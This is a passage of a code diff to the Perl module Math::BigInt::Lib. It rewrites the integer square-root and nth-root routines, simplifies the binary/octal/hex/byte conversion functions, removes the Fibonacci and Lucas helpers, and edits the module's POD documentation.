+        $ye = ($x_len + 1) / 2;
+        $ym = sprintf "%.0f", int($ym * 1e16);
+        $ye -= 16;
     }
 
-    my $x;
-    if ($xe < 0) {
-        $x = substr $xm, 0, length($xm) + $xe;
+    my $y;
+    if ($ye < 0) {
+        $y = substr $ym, 0, length($ym) + $ye;
     } else {
-        $x = $xm . ("0" x $xe);
+        $y = $ym . ("0" x $ye);
     }
 
-    $x = $class -> _new($x);
+    $y = $class -> _new($y);
 
-    # Newton's method for computing square root of y
+    # Newton's method for computing square root of x. Generally, the algorithm
+    # below should undershoot.
     #
-    # x(i+1) = x(i) - f(x(i)) / f'(x(i))
-    #        = x(i) - (x(i)^2 - y) / (2 * x(i))     # use if x(i)^2 > y
-    #        = y(i) + (y - x(i)^2) / (2 * x(i))     # use if x(i)^2 < y
-
-    # Determine if x, our guess, is too small, correct, or too large.
-
-    my $xsq = $class -> _mul($class -> _copy($x), $x);          # x(i)^2
-    my $acmp = $class -> _acmp($xsq, $y);                       # x(i)^2 <=> y
-
-    # Only assign a value to this variable if we will be using it.
-
-    my $two;
-    $two = $class -> _two() if $acmp != 0;
+    # y(i+1) = y(i) - f(y(i)) / f'(y(i))
+    #        = y(i) - (y(i)^2 - x) / (2 * y(i))
+    #        = y(i) + (x - y(i)^2) / (2 * y(i))
 
-    # If x is too small, do one iteration of Newton's method. Since the
-    # function f(x) = x^2 - y is concave and monotonically increasing, the next
-    # guess for x will either be correct or too large.
+    my $two  = $class -> _two();
+    my $zero = $class -> _zero();
+    my $over;
+    my $acmp;
 
-    if ($acmp < 0) {
-
-        # x(i+1) = x(i) + (y - x(i)^2) / (2 * x(i))
-
-        my $numer = $class -> _sub($class -> _copy($y), $xsq);  # y - x(i)^2
-        my $denom = $class -> _mul($class -> _copy($two), $x);  # 2 * x(i)
-        my $delta = $class -> _div($numer, $denom);
-
-        unless ($class -> _is_zero($delta)) {
-            $x    = $class -> _add($x, $delta);
-            $xsq  = $class -> _mul($class -> _copy($x), $x);    # x(i)^2
-            $acmp = $class -> _acmp($xsq, $y);                  # x(i)^2 <=> y
+    {
+        my $ysq = $class -> _mul($class -> _copy($y), $y);      # y(i)^2
+        $acmp = $class -> _acmp($x, $ysq);                      # x <=> y(i)^2
+        last if $acmp == 0;
+        if ($acmp < 0) {           # if we overshot
+            $over = 1;
+            last;
         }
-    }
-
-    # If our guess for x is too large, apply Newton's method repeatedly until
-    # we either have got the correct value, or the delta is zero.
 
-    while ($acmp > 0) {
+        my $num = $class -> _sub($class -> _copy($x), $ysq);    # x - y(i)^2
+        my $den = $class -> _mul($class -> _copy($two), $y);    # 2 * y(i)
 
-        # x(i+1) = x(i) - (x(i)^2 - y) / (2 * x(i))
-
-        my $numer = $class -> _sub($xsq, $y);                   # x(i)^2 - y
-        my $denom = $class -> _mul($class -> _copy($two), $x);  # 2 * x(i)
-        my $delta = $class -> _div($numer, $denom);
-        last if $class -> _is_zero($delta);
-
-        $x    = $class -> _sub($x, $delta);
-        $xsq  = $class -> _mul($class -> _copy($x), $x);        # x(i)^2
-        $acmp = $class -> _acmp($xsq, $y);                      # x(i)^2 <=> y
+        my $delta = $class -> _div($num, $den);
+        last if $class -> _acmp($delta, $zero) == 0;
+        $y = $class -> _add($y, $delta);
+        redo;
     }
 
-    # When the delta is zero, our value for x might still be too large. We
-    # require that the outout is either exact or too small (i.e., rounded down
-    # to the nearest integer), so do a final check.
+    # If we did overshoot, adjust now.
 
-    while ($acmp > 0) {
-        $x    = $class -> _dec($x);
-        $xsq  = $class -> _mul($class -> _copy($x), $x);        # x(i)^2
-        $acmp = $class -> _acmp($xsq, $y);                      # x(i)^2 <=> y
+    while ($acmp < 0) {
+        $class -> _dec($y);
+        my $ysq = $class -> _mul($class -> _copy($y), $y);      # y(i)^2
+        $acmp = $class -> _acmp($x, $ysq);                      # x <=> y(i)^2
     }
 
-    return $x;
+    return $y;
 }
 
 sub _root {
-    my ($class, $y, $n) = @_;
-
-    return $y if $class -> _is_zero($y) || $class -> _is_one($y) ||
-                 $class -> _is_one($n);
-
-    # If y <= n, the result is always (truncated to) 1.
-
-    return $class -> _one() if $class -> _acmp($y, $n) <= 0;
-
-    # Compute the initial guess x of y^(1/n). When n is large, Newton's method
-    # converges slowly if the "guess" (initial value) is poor, so we need a
-    # good guess. It the guess is too small, the next guess will be too large,
-    # and from then on all guesses are too large.
-
-    my $DEBUG = 0;
-
-    # Split y into mantissa and exponent in base 10, so that
-    #
-    #   y = xm * 10^xe, where 0 < xm < 1 and xe is an integer
-
-    my $y_str  = $class -> _str($y);
-    my $ym = "." . $y_str;
-    my $ye = length($y_str);
+    my ($class, $x, $n) = @_;
 
-    # From this compute the approximate base 10 logarithm of y
-    #
-    #   log_10(y) = log_10(ym) + log_10(ye^10)
-    #             = log(ym)/log(10) + ye
+    return undef if $class -> _is_zero($n);
 
-    my $log10y = log($ym) / log(10) + $ye;
+    return $x if $class -> _is_zero($x) || $class -> _is_one($x) ||
+                 $class -> _is_one($n);
 
-    # And from this compute the approximate base 10 logarithm of x, where
-    # x = y^(1/n)
-    #
-    #   log_10(x) = log_10(y)/n
+    my $x_str = $class -> _str($x);
+    my $x_len = length($x_str);
 
-    my $log10x = $log10y / $class -> _num($n);
+    return $class -> _one() if $class -> _acmp($x, $n) <= 0;
 
-    # From this compute xm and xe, the mantissa and exponent (in base 10) of x,
-    # where 1 < xm <= 10 and xe is an integer.
+    # Compute the guess $y.
 
-    my $xe = int $log10x;
-    my $xm = 10 ** ($log10x - $xe);
+    my $n_num = $class -> _num($n);
+    my $p = int(($x_len - 1) / $n_num);
+    my $q = $x_len - $p * $n_num;
 
-    # Scale the mantissa and exponent to increase the integer part of ym, which
-    # gives us better accuracy.
+    my $DEBUG = 0;
 
     if ($DEBUG) {
         print "\n";
-        print "y_str  = $y_str\n";
-        print "ym     = $ym\n";
-        print "ye     = $ye\n";
-        print "log10y = $log10y\n";
-        print "log10x = $log10x\n";
-        print "xm     = $xm\n";
-        print "xe     = $xe\n";
-    }
-
-    my $d = $xe < 15 ? $xe : 15;
-    $xm *= 10 ** $d;
-    $xe -= $d;
-
-    if ($DEBUG) {
+        print substr($x_str, 0, $p), " ", "0" x $q, "\n";
         print "\n";
-        print "xm     = $xm\n";
-        print "xe     = $xe\n";
     }
 
-    # If the mantissa is not an integer, round up to nearest integer, and then
-    # convert the number to a string. It is important to always round up due to
-    # how Newton's method behaves in this case. If the initial guess is too
-    # small, the next guess will be too large, after which every succeeding
-    # guess converges the correct value from above. Now, if the initial guess
-    # is too small and n is large, the next guess will be much too large and
-    # require a large number of iterations to get close to the solution.
-    # Because of this, we are likely to find the solution faster if we make
-    # sure the initial guess is not too small.
-
-    my $xm_int = int($xm);
-    my $x_str = sprintf '%.0f', $xm > $xm_int ? $xm_int + 1 : $xm_int;
-    $x_str .= "0" x $xe;
+    my $ymant = substr($x_str, 0, $q) ** (1 / $n_num);
+    my $yexpo = $p;
 
-    my $x = $class -> _new($x_str);
+    my $y = (1 + int $ymant) . ("0" x $p);
+    $y = $class -> _new($y);
 
     if ($DEBUG) {
-        print "xm     = $xm\n";
-        print "xe     = $xe\n";
         print "\n";
-        print "x_str  = $x_str (initial guess)\n";
+        print "p  = $p\n";
+        print "q  = $q\n";
         print "\n";
-    }
-
-    # Use Newton's method for computing n'th root of y.
-    #
-    # x(i+1) = x(i) - f(x(i)) / f'(x(i))
-    #        = x(i) - (x(i)^n - y) / (n * x(i)^(n-1))   # use if x(i)^n > y
-    #        = x(i) + (y - x(i)^n) / (n * x(i)^(n-1))   # use if x(i)^n < y
-
-    # Determine if x, our guess, is too small, correct, or too large. Rather
-    # than computing x(i)^n and x(i)^(n-1) directly, compute x(i)^(n-1) and
-    # then the same value multiplied by x.
-
-    my $nm1     = $class -> _dec($class -> _copy($n));           # n-1
-    my $xpownm1 = $class -> _pow($class -> _copy($x), $nm1);     # x(i)^(n-1)
-    my $xpown   = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
-    my $acmp    = $class -> _acmp($xpown, $y);                   # x(i)^n <=> y
-
-    if ($DEBUG) {
+        print "ym = $ymant\n";
+        print "ye = $yexpo\n";
+        print "\n";
+        print "y  = $y (initial guess)\n";
         print "\n";
-        print "x      = ", $class -> _str($x), "\n";
-        print "x^n    = ", $class -> _str($xpown), "\n";
-        print "y      = ", $class -> _str($y), "\n";
-        print "acmp   = $acmp\n";
     }
 
-    # If x is too small, do one iteration of Newton's method. Since the
-    # function f(x) = x^n - y is concave and monotonically increasing, the next
-    # guess for x will either be correct or too large.
-
-    if ($acmp < 0) {
+    # Newton's method for computing n'th root of x. Generally, the algorithm
+    # below should undershoot.
+    #
+    # y(i+1) = y(i) - f(y(i)) / f'(y(i))
+    #        = y(i) - (y(i)^n - x) / (n * y(i)^(n-1))
+    #        = y(i) + (x - y(i)^n) / (n * y(i)^(n-1))
 
-        # x(i+1) = x(i) + (y - x(i)^n) / (n * x(i)^(n-1))
+    my $nm1  = $class -> _dec($class -> _copy($n));             # n - 1
+    my $zero = $class -> _zero();
+    my $over;
+    my $acmp;
 
-        my $numer = $class -> _sub($class -> _copy($y), $xpown);    # y - x(i)^n
-        my $denom = $class -> _mul($class -> _copy($n), $xpownm1);  # n * x(i)^(n-1)
-        my $delta = $class -> _div($numer, $denom);
+    {
+        my $ypowm1 = $class -> _pow($class -> _copy($y), $nm1);     # y(i)^(n-1)
+        my $ypow   = $class -> _mul($class -> _copy($ypowm1), $y);  # y(i)^n
+        $acmp = $class -> _acmp($x, $ypow);                         # x <=> y(i)^n
+        last if $acmp == 0;
+
+        my $num = $acmp > 0
+                ? $class -> _sub($class -> _copy($x), $ypow)        # x - y(i)^n
+                : $class -> _sub($ypow, $class -> _copy($x));       # y(i)^n - x
+        my $den = $class -> _mul($class -> _copy($n), $ypowm1);     # n * y(i)^(n-1)
+        my $delta = $class -> _div($num, $den);
+        last if $class -> _acmp($delta, $zero) == 0;
+
+        $y = $acmp > 0
+           ? $class -> _add($y, $delta)
+           : $class -> _sub($y, $delta);
 
         if ($DEBUG) {
-            print "\n";
-            print "numer  = ", $class -> _str($numer), "\n";
-            print "denom  = ", $class -> _str($denom), "\n";
-            print "delta  = ", $class -> _str($delta), "\n";
+            print "y  = $y\n";
         }
 
-        unless ($class -> _is_zero($delta)) {
-            $x       = $class -> _add($x, $delta);
-            $xpownm1 = $class -> _pow($class -> _copy($x), $nm1);     # x(i)^(n-1)
-            $xpown   = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
-            $acmp    = $class -> _acmp($xpown, $y);                   # x(i)^n <=> y
-
-            if ($DEBUG) {
-                print "\n";
-                print "x      = ", $class -> _str($x), "\n";
-                print "x^n    = ", $class -> _str($xpown), "\n";
-                print "y      = ", $class -> _str($y), "\n";
-                print "acmp   = $acmp\n";
-            }
-        }
+        redo;
     }
 
-    # If our guess for x is too large, apply Newton's method repeatedly until
-    # we either have got the correct value, or the delta is zero.
-
-    while ($acmp > 0) {
-
-        # x(i+1) = x(i) - (x(i)^n - y) / (n * x(i)^(n-1))
-
-        my $numer = $class -> _sub($class -> _copy($xpown), $y);    # x(i)^n - y
-        my $denom = $class -> _mul($class -> _copy($n), $xpownm1);  # n * x(i)^(n-1)
-
-        if ($DEBUG) {
-            print "numer  = ", $class -> _str($numer), "\n";
-            print "denom  = ", $class -> _str($denom), "\n";
-        }
-
-        my $delta = $class -> _div($numer, $denom);
-
-        if ($DEBUG) {
-            print "delta  = ", $class -> _str($delta), "\n";
-        }
-
-        last if $class -> _is_zero($delta);
-
-        $x       = $class -> _sub($x, $delta);
-        $xpownm1 = $class -> _pow($class -> _copy($x), $nm1);     # x(i)^(n-1)
-        $xpown   = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
-        $acmp    = $class -> _acmp($xpown, $y);                   # x(i)^n <=> y
+    # Never overestimate. The output should always be exact or truncated.
 
+    while ($acmp < 0) {
+        $class -> _dec($y);
         if ($DEBUG) {
-            print "\n";
-            print "x      = ", $class -> _str($x), "\n";
-            print "x^n    = ", $class -> _str($xpown), "\n";
-            print "y      = ", $class -> _str($y), "\n";
-            print "acmp   = $acmp\n";
+            print "y  = $y\n";
         }
+        my $ypow = $class -> _pow($class -> _copy($y), $n);     # y(i)^n
+        $acmp = $class -> _acmp($x, $ypow);                     # x <=> y(i)^2
     }
 
-    # When the delta is zero, our value for x might still be too large. We
-    # require that the outout is either exact or too small (i.e., rounded down
-    # to the nearest integer), so do a final check.
-
-    while ($acmp > 0) {
-        $x     = $class -> _dec($x);
-        $xpown = $class -> _pow($class -> _copy($x), $n);     # x(i)^n
-        $acmp  = $class -> _acmp($xpown, $y);                 # x(i)^n <=> y
+    if ($DEBUG) {
+        print "\n";
     }
 
-    return $x;
+    return $y;
 }
 
 ##############################################################################
@@ -1076,182 +933,114 @@ sub _or {
     return $z;
 }
 
-sub _to_bin {
-    # convert the number to a string of binary digits without prefix
+sub _as_hex {
+    # convert a decimal number to hex
     my ($class, $x) = @_;
-    my $str    = '';
-    my $tmp    = $class -> _copy($x);
-    my $chunk = $class -> _new("16777216");     # 2^24 = 24 binary digits
+    my $str  = '';
+    my $tmp  = $class -> _copy($x);
+    my $zero = $class -> _zero();
+    my $base = $class -> _new("16");
     my $rem;
-    until ($class -> _acmp($tmp, $chunk) < 0) {
-        ($tmp, $rem) = $class -> _div($tmp, $chunk);
-        $str = sprintf("%024b", $class -> _num($rem)) . $str;
-    }
-    unless ($class -> _is_zero($tmp)) {
-        $str = sprintf("%b", $class -> _num($tmp)) . $str;
+    while ($tmp > $zero) {
+        ($tmp, $rem) = $class -> _div($tmp, $base);
+        $str = sprintf("%0x", $rem) . $str;
     }
-    return length($str) ? $str : '0';
+    $str = '0' if length($str) == 0;
+    return '0x' . $str;
 }
 
-sub _to_oct {
-    # convert the number to a string of octal digits without prefix
+sub _as_bin {
+    # convert a decimal number to bin
     my ($class, $x) = @_;
-    my $str    = '';
-    my $tmp    = $class -> _copy($x);
-    my $chunk = $class -> _new("16777216");     # 2^24 = 8 octal digits
+    my $str  = '';
+    my $tmp  = $class -> _copy($x);
+    my $zero = $class -> _zero();
+    my $base = $class -> _new("2");
     my $rem;
-    until ($class -> _acmp($tmp, $chunk) < 0) {
-        ($tmp, $rem) = $class -> _div($tmp, $chunk);
-        $str = sprintf("%08o", $class -> _num($rem)) . $str;
-    }
-    unless ($class -> _is_zero($tmp)) {
-        $str = sprintf("%o", $class -> _num($tmp)) . $str;
+    while ($tmp > $zero) {
+        ($tmp, $rem) = $class -> _div($tmp, $base);
+        $str = ($class -> _is_zero($rem) ? '0' : '1') . $str;
     }
-    return length($str) ? $str : '0';
+    $str = '0' if length($str) == 0;
+    return '0b' . $str;
 }
 
-sub _to_hex {
-    # convert the number to a string of hexadecimal digits without prefix
+sub _as_oct {
+    # convert a decimal number to octal
     my ($class, $x) = @_;
-    my $str    = '';
-    my $tmp    = $class -> _copy($x);
-    my $chunk = $class -> _new("16777216");     # 2^24 = 6 hexadecimal digits
+    my $str  = '';
+    my $tmp  = $class -> _copy($x);
+    my $zero = $class -> _zero();
+    my $base = $class -> _new("8");
     my $rem;
-    until ($class -> _acmp($tmp, $chunk) < 0) {
-        ($tmp, $rem) = $class -> _div($tmp, $chunk);
-        $str = sprintf("%06x", $class -> _num($rem)) . $str;
+    while ($tmp > $zero) {
+        ($tmp, $rem) = $class -> _div($tmp, $base);
+        $str = sprintf("%0o", $rem) . $str;
     }
-    unless ($class -> _is_zero($tmp)) {
-        $str = sprintf("%x", $class -> _num($tmp)) . $str;
-    }
-    return length($str) ? $str : '0';
-}
-
-sub _as_bin {
-    # convert the number to a string of binary digits with prefix
-    my ($class, $x) = @_;
-    return '0b' . $class -> _to_bin($x);
-}
-
-sub _as_oct {
-    # convert the number to a string of octal digits with prefix
-    my ($class, $x) = @_;
-    return '0' . $class -> _to_oct($x);         # yes, 0 becomes "00"
-}
-
-sub _as_hex {
-    # convert the number to a string of hexadecimal digits with prefix
-    my ($class, $x) = @_;
-    return '0x' . $class -> _to_hex($x);
+    $str = '0' if length($str) == 0;
+    return '0' . $str;          # yes, 0 becomes "00".
 }
 
-sub _to_bytes {
-    # convert the number to a string of bytes
+sub _as_bytes {
+    # convert a decimal number to a byte string
     my ($class, $x) = @_;
-    my $str    = '';
-    my $tmp    = $class -> _copy($x);
-    my $chunk = $class -> _new("65536");
+    my $str  = '';
+    my $tmp  = $class -> _copy($x);
+    my $base = $class -> _new("256");
     my $rem;
     until ($class -> _is_zero($tmp)) {
-        ($tmp, $rem) = $class -> _div($tmp, $chunk);
-        $str = pack('n', $class -> _num($rem)) . $str;
+        ($tmp, $rem) = $class -> _div($tmp, $base);
+        my $byte = pack 'C', $rem;
+        $str = $byte . $str;
     }
-    $str =~ s/^\0+//;
-    return length($str) ? $str : "\x00";
+    return "\x00" unless length($str);
+    return $str;
 }
 
-*_as_bytes = \&_to_bytes;
-
-sub _from_hex {
-    # Convert a string of hexadecimal digits to a number.
-
-    my ($class, $hex) = @_;
-    $hex =~ s/^0[xX]//;
-
-    # Find the largest number of hexadecimal digits that we can safely use with
-    # 32 bit integers. There are 4 bits pr hexadecimal digit, and we use only
-    # 31 bits to play safe. This gives us int(31 / 4) = 7.
-
-    my $len = length $hex;
-    my $rem = 1 + ($len - 1) % 7;
-
-    # Do the first chunk.
-
-    my $ret = $class -> _new(int hex substr $hex, 0, $rem);
-    return $ret if $rem == $len;
-
-    # Do the remaining chunks, if any.
-
-    my $shift = $class -> _new(1 << (4 * 7));
-    for (my $offset = $rem ; $offset < $len ; $offset += 7) {
-        my $part = int hex substr $hex, $offset, 7;
-        $ret = $class -> _mul($ret, $shift);
-        $ret = $class -> _add($ret, $class -> _new($part));
+sub _from_oct {
+    # convert a octal string to a decimal number
+    my ($class, $str) = @_;
+    $str =~ s/^0+//;
+    my $x    = $class -> _zero();
+    my $base = $class -> _new("8");
+    my $n    = length($str);
+    for (my $i = 0 ; $i < $n ; ++$i) {
+        $x = $class -> _mul($x, $base);
+        $x = $class -> _add($x, $class -> _new(substr($str, $i, 1)));
     }
-
-    return $ret;
+    return $x;
 }
 
-sub _from_oct {
-    # Convert a string of octal digits to a number.
-
-    my ($class, $oct) = @_;
-
-    # Find the largest number of octal digits that we can safely use with 32
-    # bit integers. There are 3 bits pr octal digit, and we use only 31 bits to
-    # play safe. This gives us int(31 / 3) = 10.
-
-    my $len = length $oct;
-    my $rem = 1 + ($len - 1) % 10;
-
-    # Do the first chunk.
-
-    my $ret = $class -> _new(int oct substr $oct, 0, $rem);
-    return $ret if $rem == $len;
-
-    # Do the remaining chunks, if any.
-
-    my $shift = $class -> _new(1 << (3 * 10));
-    for (my $offset = $rem ; $offset < $len ; $offset += 10) {
-        my $part = int oct substr $oct, $offset, 10;
-        $ret = $class -> _mul($ret, $shift);
-        $ret = $class -> _add($ret, $class -> _new($part));
+sub _from_hex {
+    # convert a hexadecimal string to a decimal number
+    my ($class, $str) = @_;
+    $str =~ s/^0[Xx]//;
+    my $x    = $class -> _zero();
+    my $base = $class -> _new("16");
+    my $n    = length($str);
+    for (my $i = 0 ; $i < $n ; ++$i) {
+        $x = $class -> _mul($x, $base);
+        $x = $class -> _add($x, $class -> _new(hex substr($str, $i, 1)));
     }
-
-    return $ret;
+    return $x;
 }
 
 sub _from_bin {
-    # Convert a string of binary digits to a number.
-
-    my ($class, $bin) = @_;
-    $bin =~ s/^0[bB]//;
-
-    # The largest number of binary digits that we can safely use with 32 bit
-    # integers is 31. We use only 31 bits to play safe.
-
-    my $len = length $bin;
-    my $rem = 1 + ($len - 1) % 31;
-
-    # Do the first chunk.
-
-    my $ret = $class -> _new(int oct '0b' . substr $bin, 0, $rem);
-    return $ret if $rem == $len;
-
-    # Do the remaining chunks, if any.
-
-    my $shift = $class -> _new(1 << 31);
-    for (my $offset = $rem ; $offset < $len ; $offset += 31) {
-        my $part = int oct '0b' . substr $bin, $offset, 31;
-        $ret = $class -> _mul($ret, $shift);
-        $ret = $class -> _add($ret, $class -> _new($part));
+    # convert a binary string to a decimal number
+    my ($class, $str) = @_;
+    $str =~ s/^0[Bb]//;
+    my $x    = $class -> _zero();
+    my $base = $class -> _new("2");
+    my $n    = length($str);
+    for (my $i = 0 ; $i < $n ; ++$i) {
+        $x = $class -> _mul($x, $base);
+        $x = $class -> _add($x, $class -> _new(substr($str, $i, 1)));
     }
-
-    return $ret;
+    return $x;
 }
 
 sub _from_bytes {
-    # convert string of bytes to a number
+    # convert a byte string to a decimal number
     my ($class, $str) = @_;
     my $x    = $class -> _zero();
     my $base = $class -> _new("256");
@@ -1302,7 +1091,7 @@ sub _modinv {
         redo;
     }
 
-    # if the gcd is not 1, there exists no modular multiplicative inverse
+    # if the gcd is not 1, then return NaN
     return (undef, undef) unless $class -> _is_one($a);
 
     ($v, $sign == 1 ? '+' : '-');
@@ -1405,100 +1194,6 @@ sub _lcm {
     return $x;
 }
 
-sub _lucas {
-    my ($class, $n) = @_;
-
-    $n = $class -> _num($n) if ref $n;
-
-    # In list context, use lucas(n) = lucas(n-1) + lucas(n-2)
-
-    if (wantarray) {
-        my @y;
-
-        push @y, $class -> _two();
-        return @y if $n == 0;
-
-        push @y, $class -> _one();
-        return @y if $n == 1;
-
-        for (my $i = 2 ; $i <= $n ; ++ $i) {
-            $y[$i] = $class -> _add($class -> _copy($y[$i - 1]), $y[$i - 2]);
-        }
-
-        return @y;
-    }
-
-    require Scalar::Util;
-
-    # In scalar context use that lucas(n) = fib(n-1) + fib(n+1).
-    #
-    # Remember that _fib() behaves differently in scalar context and list
-    # context, so we must add scalar() to get the desired behaviour.
-
-    return $class -> _two() if $n == 0;
-
-    return $class -> _add(scalar $class -> _fib($n - 1),
-                          scalar $class -> _fib($n + 1));
-}
-
-sub _fib {
-    my ($class, $n) = @_;
-
-    $n = $class -> _num($n) if ref $n;
-
-    # In list context, use fib(n) = fib(n-1) + fib(n-2)
-
-    if (wantarray) {
-        my @y;
-
-        push @y, $class -> _zero();
-        return @y if $n == 0;
-
-        push @y, $class -> _one();
-        return @y if $n == 1;
-
-        for (my $i = 2 ; $i <= $n ; ++ $i) {
-            $y[$i] = $class -> _add($class -> _copy($y[$i - 1]), $y[$i - 2]);
-        }
-
-        return @y;
-    }
-
-    # In scalar context use a fast algorithm that is much faster than the
-    # recursive algorith used in list context.
-
-    my $cache = {};
-    my $two = $class -> _two();
-    my $fib;
-
-    $fib = sub {
-        my $n = shift;
-        return $class -> _zero() if $n <= 0;
-        return $class -> _one()  if $n <= 2;
-        return $cache -> {$n}    if exists $cache -> {$n};
-
-        my $k = int($n / 2);
-        my $a = $fib -> ($k + 1);
-        my $b = $fib -> ($k);
-        my $y;
-
-        if ($n % 2 == 1) {
-            # a*a + b*b
-            $y = $class -> _add($class -> _mul($class -> _copy($a), $a),
-                                $class -> _mul($class -> _copy($b), $b));
-        } else {
-            # (2*a - b)*b
-            $y = $class -> _mul($class -> _sub($class -> _mul(
-                   $class -> _copy($two), $a), $b), $b);
-        }
-
-        $cache -> {$n} = $y;
-        return $y;
-    };
-
-    return $fib -> ($n);
-}
-
 ##############################################################################
 ##############################################################################
 
@@ -1514,31 +1209,13 @@ Math::BigInt::Lib - virtual parent class for Math::BigInt libraries
 
 =head1 SYNOPSIS
 
-    # In the backend library for Math::BigInt et al.
-
-    package Math::BigInt::MyBackend;
-
-    use Math::BigInt::lib;
-    our @ISA = qw< Math::BigInt::lib >;
-
-    sub _new { ... }
-    sub _str { ... }
-    sub _add { ... }
-    str _sub { ... }
-    ...
-
-    # In your main program.
-
-    use Math::BigInt lib => 'MyBackend';
-
-=head1 DESCRIPTION
-
 This module provides support for big integer calculations. It is not intended
 to be used directly, but rather as a parent class for backend libraries used by
-Math::BigInt, Math::BigFloat, Math::BigRat, and related modules.
+Math::BigInt, Math::BigFloat, Math::BigRat, and related modules. Backend
+libraries include Math::BigInt::Calc, Math::BigInt::FastCalc,
+Math::BigInt::GMP, Math::BigInt::Pari and others.
 
-Other backend libraries include Math::BigInt::Calc, Math::BigInt::FastCalc,
-Math::BigInt::GMP, and Math::BigInt::Pari.
+=head1 DESCRIPTION
 
 In order to allow for multiple big integer libraries, Math::BigInt was
 rewritten to use a plug-in library for core math routines. Any module which
@@ -1553,12 +1230,12 @@ version, like 'Pari'.
 
 A library only needs to deal with unsigned big integers. Testing of input
 parameter validity is done by the caller, so there is no need to worry about
-underflow (e.g., in C<_sub()> and C<_dec()>) or about division by zero (e.g.,
-in C<_div()> and C<_mod()>)) or similar cases.
+underflow (e.g., in C<_sub()> and C<_dec()>) nor about division by zero (e.g.,
+in C<_div()>) or similar cases.
 
 Some libraries use methods that don't modify their argument, and some libraries
-don't even use objects, but rather unblessed references. Because of this,
-liberary methods are always called as class methods, not instance methods:
+don't even use objects. Because of this, liberary methods are always called as
+class methods, not instance methods:
 
     $x = Class -> method($x, $y);     # like this
     $x = $x -> method($y);            # not like this ...
@@ -1567,7 +1244,7 @@ liberary methods are always called as class methods, not instance methods:
 And with boolean methods
 
     $bool = Class -> method($x, $y);  # like this
-    $bool = $x -> method($y);         # not like this
+    $bool = $x -> method($y);         # not like this ...
 
 Return values are always objects, strings, Perl scalars, or true/false for
 comparison routines.
@@ -1576,7 +1253,7 @@ comparison routines.
 
 =over 4
 
-=item CLASS-Eapi_version()
+=item api_version()
 
 Return API version as a Perl scalar, 1 for Math::BigInt v1.70, 2 for
 Math::BigInt v1.83.
@@ -1593,45 +1270,45 @@ However, computations will be very slow without _mul() and _div().
 
 =over 4
 
-=item CLASS-E_new(STR)
+=item _new(STR)
 
 Convert a string representing an unsigned decimal number to an object
-representing the same number. The input is normalized, i.e., it matches
+representing the same number. The input is normalize, i.e., it matches
 C<^(0|[1-9]\d*)$>.
 
-=item CLASS-E_zero()
+=item _zero()
 
 Return an object representing the number zero.
 
-=item CLASS-E_one()
+=item _one()
 
 Return an object representing the number one.
 
-=item CLASS-E_two()
+=item _two()
 
 Return an object representing the number two.
 
-=item CLASS-E_ten()
+=item _ten()
 
 Return an object representing the number ten.
 
-=item CLASS-E_from_bin(STR)
+=item _from_bin(STR)
 
 Return an object given a string representing a binary number. The input has a
 '0b' prefix and matches the regular expression C<^0[bB](0|1[01]*)$>.
 
-=item CLASS-E_from_oct(STR)
+=item _from_oct(STR)
 
 Return an object given a string representing an octal number. The input has a
 '0' prefix and matches the regular expression C<^0[1-7]*$>.
 
-=item CLASS-E_from_hex(STR)
+=item _from_hex(STR)
 
 Return an object given a string representing a hexadecimal number. The input
 has a '0x' prefix and matches the regular expression
 C<^0x(0|[1-9a-fA-F][\da-fA-F]*)$>.
 
-=item CLASS-E_from_bytes(STR)
+=item _from_bytes(STR)
 
 Returns an object given a byte string representing the number. The byte string
 is in big endian byte order, so the two-byte input string "\x01\x00" should
@@ -1643,143 +1320,129 @@ give an output value representing the number 256.
 
 =over 4
 
-=item CLASS-E_add(OBJ1, OBJ2)
+=item _add(OBJ1, OBJ2)
 
 Returns the result of adding OBJ2 to OBJ1.
 
-=item CLASS-E_mul(OBJ1, OBJ2)
+=item _mul(OBJ1, OBJ2)
 
 Returns the result of multiplying OBJ2 and OBJ1.
 
-=item CLASS-E_div(OBJ1, OBJ2)
+=item _div(OBJ1, OBJ2)
 
-In scalar context, returns the quotient after dividing OBJ1 by OBJ2 and
-truncating the result to an integer. In list context, return the quotient and
-the remainder.
+Returns the result of dividing OBJ1 by OBJ2 and truncating the result to an
+integer.
 
-=item CLASS-E_sub(OBJ1, OBJ2, FLAG)
+=item _sub(OBJ1, OBJ2, FLAG)
 
-=item CLASS-E_sub(OBJ1, OBJ2)
+=item _sub(OBJ1, OBJ2)
 
 Returns the result of subtracting OBJ2 by OBJ1. If C is false or omitted,
 OBJ1 might be modified. If C is true, OBJ2 might be modified.
 
-=item CLASS-E_dec(OBJ)
-
-Returns the result after decrementing OBJ by one.
+=item _dec(OBJ)
 
-=item CLASS-E_inc(OBJ)
+Decrement OBJ by one.
 
-Returns the result after incrementing OBJ by one.
+=item _inc(OBJ)
 
-=item CLASS-E_mod(OBJ1, OBJ2)
+Increment OBJ by one.
 
-Returns OBJ1 modulo OBJ2, i.e., the remainder after dividing OBJ1 by OBJ2.
+=item _mod(OBJ1, OBJ2)
 
-=item CLASS-E_sqrt(OBJ)
+Return OBJ1 modulo OBJ2, i.e., the remainder after dividing OBJ1 by OBJ2.
 
-Returns the square root of OBJ, truncated to an integer.
+=item _sqrt(OBJ)
 
-=item CLASS-E_root(OBJ, N)
+Return the square root of the object, truncated to integer.
 
-Returns the Nth root of OBJ, truncated to an integer.
+=item _root(OBJ, N)
 
-=item CLASS-E_fac(OBJ)
+Return Nth root of the object, truncated to int. N is E= 3.
 
-Returns the factorial of OBJ, i.e., the product of all positive integers up to
-and including OBJ.
+=item _fac(OBJ)
 
-=item CLASS-E_dfac(OBJ)
+Return factorial of object (1*2*3*4*...).
 
-Returns the double factorial of OBJ. If OBJ is an even integer, returns the
-product of all positive, even integers up to and including OBJ, i.e.,
-2*4*6*...*OBJ. If OBJ is an odd integer, returns the product of all positive,
-odd integers, i.e., 1*3*5*...*OBJ.
+=item _pow(OBJ1, OBJ2)
 
-=item CLASS-E_pow(OBJ1, OBJ2)
+Return OBJ1 to the power of OBJ2. By convention, 0**0 = 1.
 
-Returns OBJ1 raised to the power of OBJ2. By convention, 0**0 = 1.
+=item _modinv(OBJ1, OBJ2)
 
-=item CLASS-E_modinv(OBJ1, OBJ2)
-
-Returns the modular multiplicative inverse, i.e., return OBJ3 so that
+Return modular multiplicative inverse, i.e., return OBJ3 so that
 
     (OBJ3 * OBJ1) % OBJ2 = 1 % OBJ2
 
-The result is returned as two arguments. If the modular multiplicative inverse
